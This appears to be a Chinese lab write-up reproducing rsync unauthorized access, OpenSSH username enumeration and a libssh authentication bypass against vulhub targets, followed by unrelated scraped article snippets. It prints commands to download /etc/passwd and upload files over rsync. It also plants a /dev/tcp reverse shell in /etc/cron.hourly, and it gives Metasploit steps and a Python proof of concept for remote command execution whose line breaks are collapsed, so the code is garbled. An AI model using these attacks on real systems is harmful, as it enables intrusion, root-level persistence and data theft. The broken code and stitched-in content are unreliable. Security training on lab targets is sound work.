服务安全-应用协议rsync未授权ssh漏洞复现

目录

  • 服务攻防-应用协议rsync&ssh漏洞复现
    • 漏洞复现
      • 配置不当-未授权访问-rsync文件备份
      • OpenSSH 用户名枚举漏洞
      • libssh身份验证绕过漏洞

服务攻防-应用协议rsync&ssh漏洞复现

漏洞复现

配置不当-未授权访问-rsync文件备份

rsync默认端口:873

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件 传输。

其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配 置ACL或访问密码,我们将可以读写目标服务器文件。

靶场:vulhub

或vulfocus

参考:rsync未授权访问

image-20231016163707397

开启环境:

image-20231016165531966

环境启动后,我们用rsync命令访问:

rsync rsync://your-ip:873/
//靶场映射了端口
rsync rsync://192.168.100.134:43983

可以查看模块名列表:

image-20231016165700612

访问列表:

rsync rsync://your-ip:873/src/
rsync rsync://192.168.100.134:43983/src

image-20231016165847772

发现这是一个Linux根目录,我们可以下载任意文件:

rsync -av rsync://your-ip:873/src/etc/passwd ./
rsync rsync://192.168.100.134:43983/src/etc/passwd ./

image-20231016170132298

还可以尝试上传:

将passwd文件上传到/src目录下
rsync ./passwd rsync://192.168.100.134:43983/src 查看验证:
rsync rsync://192.168.100.134:43983/src 

image-20231016170516659

由于靶场时间原因,重启靶场,继续实验:

可反弹shell:

//下载crond文件
rsync -av  rsync://192.168.100.134:39525/src/etc/crontab  ./

image-20231016173036022

点击查看:

image-20231016171902121

注意该行语句的含义:

表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令

17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly

创建一个shell文件并写入反弹shell命令:

#!/bin/bash 
/bin/bash -i >& /dev/tcp/192.168.100.146/6666 0>&1

image-20231016172118533

赋予执行权限:

chmod +x shell

将写好的shell文件上传至/etc/cron.hourly

rsync -av shell rsync://192.168.100.134:39525/src/etc/cron.hourly

image-20231016173103285

本地监听:

nc -lvvp 6666

等待反弹即可。

OpenSSH 用户名枚举漏洞

参考:CVE-2018-15473

OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中。

image-20231016175700267

开启环境:

image-20231016175735642

环境启动后,我们在客户端执行

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@your-ip -p 20022,输入密码vulhub,即可登录到容器中。

image-20231016175846271

可直接使用exp进行利用:

exp链接:CVE-2018-15473-Exploit

python sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt your-ip

方法二:

还可以使用msf进行验证测试:

msfconsole	//开启msf
search ssh	//搜索
use 53
set rhosts 192.168.100.134
set rport 20022
set user_file "字典路径"
run

image-20231016180630536

配置详细信息:

image-20231016180703320

执行:

image-20231016180732669

执行发现,rootexamplevulhubnobody等用户是存在的用户。

libssh身份验证绕过漏洞

参考:libssh 服务端权限认证绕过漏洞

libssh是一个在客户端和服务器端实现SSHv2协议的多平台C库。在libssh的服务器端状态机中发现了一个逻辑漏洞。攻击者可以在认证成功之前发送MSG_USERAUTH_SUCCESS消息。它可以绕过身份验证并访问目标SSH服务器。

开启靶场环境:

image-20231016174551110

环境启动后,我们可以连接your-ip:2222端口(账号密码:myuser:mypassword

image-20231016174656312

利用:

参考:CVE-2018-10993

根据参考,可直接利用poc:

#!/usr/bin/env python3
import sys
import paramiko
import socket
import logginglogging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048def execute(hostname, port, command):sock = socket.socket()try:sock.connect((hostname, int(port)))message = paramiko.message.Message()transport = paramiko.transport.Transport(sock)transport.start_client()message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)transport._send_message(message)client = transport.open_session(timeout=10)client.exec_command(command)# stdin = client.makefile("wb", bufsize)stdout = client.makefile("rb", bufsize)stderr = client.makefile_stderr("rb", bufsize)output = stdout.read()error = stderr.read()stdout.close()stderr.close()return (output+error).decode()except paramiko.SSHException as e:logging.exception(e)logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")except socket.error:logging.debug("Unable to connect.")return Noneif __name__ == '__main__':print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))

执行验证:

python libssh_poc.py 192.168.100.134 2222 "id"
python libssh_poc.py 192.168.100.134 2222 "whoami"
python libssh_poc.py 192.168.100.134 2222 "touch /123.txt"
python libssh_poc.py 192.168.100.134 2222 "ls /"

image-20231016175010299

image-20231016175031664

成功创建:

image-20231016175139418

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/159726.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

初识华为云数据库GaussDB for openGauss

01 前言 GaussDB是华为自主创新研发的分布式关系型数据库。该产品具备企业级复杂事务混合负载能力,同时支持分布式事务,同城跨AZ部署,数据0丢失,支持1000的扩展能力,PB级海量存储。同时拥有云上高可用,高可…

PyTorch 深度学习之卷积神经网络(高级篇)Advanced CNN(十)

0. Revision 前面讲的比较简单的是 串行网络结构 1. GoogLeNet 1.1 Inception module w h 要一致 what is 11 convolution? 信息融合-eg.高中各门学科成绩比较(总分) 最主要工作:改变通道数量 why is 11 convolution? 减少10倍 1.2 implementation of inception module 拼…

深度学习实战57-pytorch框架搭建LSTM+CNN模型与实现时间序列的预测过程

大家好,我是微学AI,今天给大家介绍一下深度学习实战57-pytorch框架搭建LSTM+CNN模型与实现时间序列的预测过程, 随着科技的进步,我们越来越依赖数据来理解世界,预测未来。特别是在金融、气候研究、交通管理等领域,时间序列预测已经成为了重要的工具。本文将介绍如何使用L…

算法leetcode|84. 柱状图中最大的矩形(rust重拳出击)

文章目录 84. 柱状图中最大的矩形:样例 1:样例 2:提示: 分析:题解:rust:go:c:python:java: 84. 柱状图中最大的矩形: 给定 n 个非负整…

构建高效问题解答平台:使用Cpolar和Tipas在Ubuntu上搭建专属问答网站

文章目录 前言2.Tipask网站搭建2.1 Tipask网站下载和安装2.2 Tipask网页测试2.3 cpolar的安装和注册 3. 本地网页发布3.1 Cpolar临时数据隧道3.2 Cpolar稳定隧道(云端设置)3.3 Cpolar稳定隧道(本地设置) 4. 公网访问测试5. 结语 前…

KubeVela交付

有什么用我也不想说了,这个是k8s CI/CD,进阶玩家玩的了,比你们喜欢Arg CD更科学,更现代 在 Kubernetes 中安装 KubeVela helm repo add kubevela https://charts.kubevela.net/core helm repo update helm install --create-namespace -n v…

pip快速安装torch、opencv、scipy库

目录 一、pip安装torch 1.1 torch介绍 1.2 torch.nn相关库的导入 1.3win10上torch的安装命令 二、pip安装Opencv 三、pip安装scipy库 一、pip安装torch 1.1 torch介绍 torch的基本功能: ①torch:张量的相关运算,例如:创…

ti am335 RT-LINUX测试

RT-Linux是一个基于Linux内核的实时操作系统,它在满足Linux操作系统的通用性的同时兼顾 实时性能,它的核心是Linux内核的一个实时扩展,它为实时任务提供了必要的调度机制和时间管理。通过采用抢占式调度策略,高优先级的实时任务可…

STM32物联网基于ZigBee智能家居控制系统

实践制作DIY- GC0169-ZigBee智能家居 一、功能说明: 基于STM32单片机设计-ZigBee智能家居 二、功能介绍: 1个主机显示板:STM32F103C最小系统ZigBee无线模块OLED显示器 语音识别模块多个按键ESP8266-WIFI模块(仅WIFI版本有&…

Python学习基础笔记七十二——IDE集成开发环境

集成开发环境,英文缩写是IDE。 IDE可以帮你更高效地开发项目代码。因为它提供了非常实用的功能,比如项目文件管理、语法高亮、代码导航、自动补齐代码、语法静态检查、调试、版本控制等等。 两款IDE:Pycharm和VSCode。 pycharm中的代码文件都…

HUAWEI(26)——防火墙双机热备

一、拓扑 二、需求 PC2 ping PC1 FW1与FW2双机热备,FW1为active,FW2为Standby,抢占延时1s VRRP 三、配置 1.IP地址,防火墙接口加入区域 防火墙用户名:admin 防火墙旧密码:Admin@123 防火墙新密码:admin@123 [FW1]interface GigabitEthernet 1/0/0 [FW1-GigabitEthe…

代码随想录Day20 回溯算法 LeetCode77 组合问题

以下内容更详细解释来自于:代码随想录 (programmercarl.com) 1.回溯算法理论基础 回溯法也叫回溯搜索法,是搜索法的一种,我们之前在二叉树中也经常使用到回溯来解决问题,其实有递归就有回溯,有的时候回溯隐藏在递归之下,我们不容易发觉,今天我们来详细介绍一下什么是回溯,它能…

YOLOv5网络结构图

网络结构图(简易版和详细版) 网络框架介绍 前言: YOLOv5是一种基于轻量级卷积神经网络(CNN)的目标检测算法,整体可以分为三个部分, backbone,neck,head。 如上图所示…

netca_crypto.dll找不到怎么修复?详细解决办法和注意事项

当你在使用计算机时,突然出现了一个错误提示:“netca_crypto.dll 找不到”。不知道该如何解决这个问题?其实要解决是非常的简单的,今天我们将为你提供几种修复 netca_crypto.dll 找不到的解决方法和一些注意事项。在深入探讨修复方…

ARM day9

src/key_it.c #include "key_it.h" #include "led.h" void key_it_config() {//RCC使能GPIOF时钟RCC->MP_AHB4ENSETR | (0x1<<5);//设置PF9 PF7 PF8GPIO输入//PF9GPIOF->MODER & (~(0x3<<18));//PF8GPIOF->MODER & (~(0x3&l…

进来“抄作业”!示例代码、操作手册,尽在华为云Codelabs!

1 Codelabs 简介 1.1 什么是 Codelabs&#xff1f; Codelabs 是华为云开发者工具&#xff0c;提供互动式的&#xff0c;以实践为主的教程&#xff0c;这些教程旨在指导开发者通过实际操作来学习新的编程技能、工具、框架。华为云 Codelabs 提供丰富的华为云产品代码示例/操…

Redis 集群 Redis 事务 Redis 流水线 Redis 发布订阅 Redis Lua脚本操作

Redis 集群 & Redis 事务 & Redis 流水线 & Redis 发布订阅 Redis 集群linux安装redis主从配置查看当前实例主从信息 Redis Sentinelsentinel Redis Cluster Redis 事务Redis 流水线Redis 发布订阅Redis Lua脚本操作 Redis 集群 linux安装redis 下载安装包&#…

数据结构之手撕链表(讲解➕源代码)

0.引言 我们在学习过顺序表之后&#xff0c;会发现两点不是很优秀的操作&#xff1a; 1.顺序表的头插和中间的插入&#xff1a; 非常麻烦&#xff0c;需要不断的覆盖数据。 2.动态开辟空间&#xff1a; a.一般动态开辟的空间都是以2倍的形式开辟&#xff0c;当…

xml的语法

<!-- 1、每一个xml,有且只有一个根标签&#xff0c;所有xml标签必须写在根标签中 2、标签必须要有合闭 3、xml格式是否正确&#xff0c;可以通过浏览器打开xml。来校验xml格式是否正确 4、xml是区别大小写的 5、xml书写标签名时&#xff0c;不要出现空格等特…

centos 7.9离线安装wget

1.下载安装包 登录到wget官网上下载最新的wget的rpm安装包到本地 http://mirrors.163.com/centos/7/os/x86_64/Packages/ 2.上传安装包到服务器 3.安装 rpm -ivh wget-1.14-18.el7_6.1.x86_64.rpm 4.查看版本 wget -V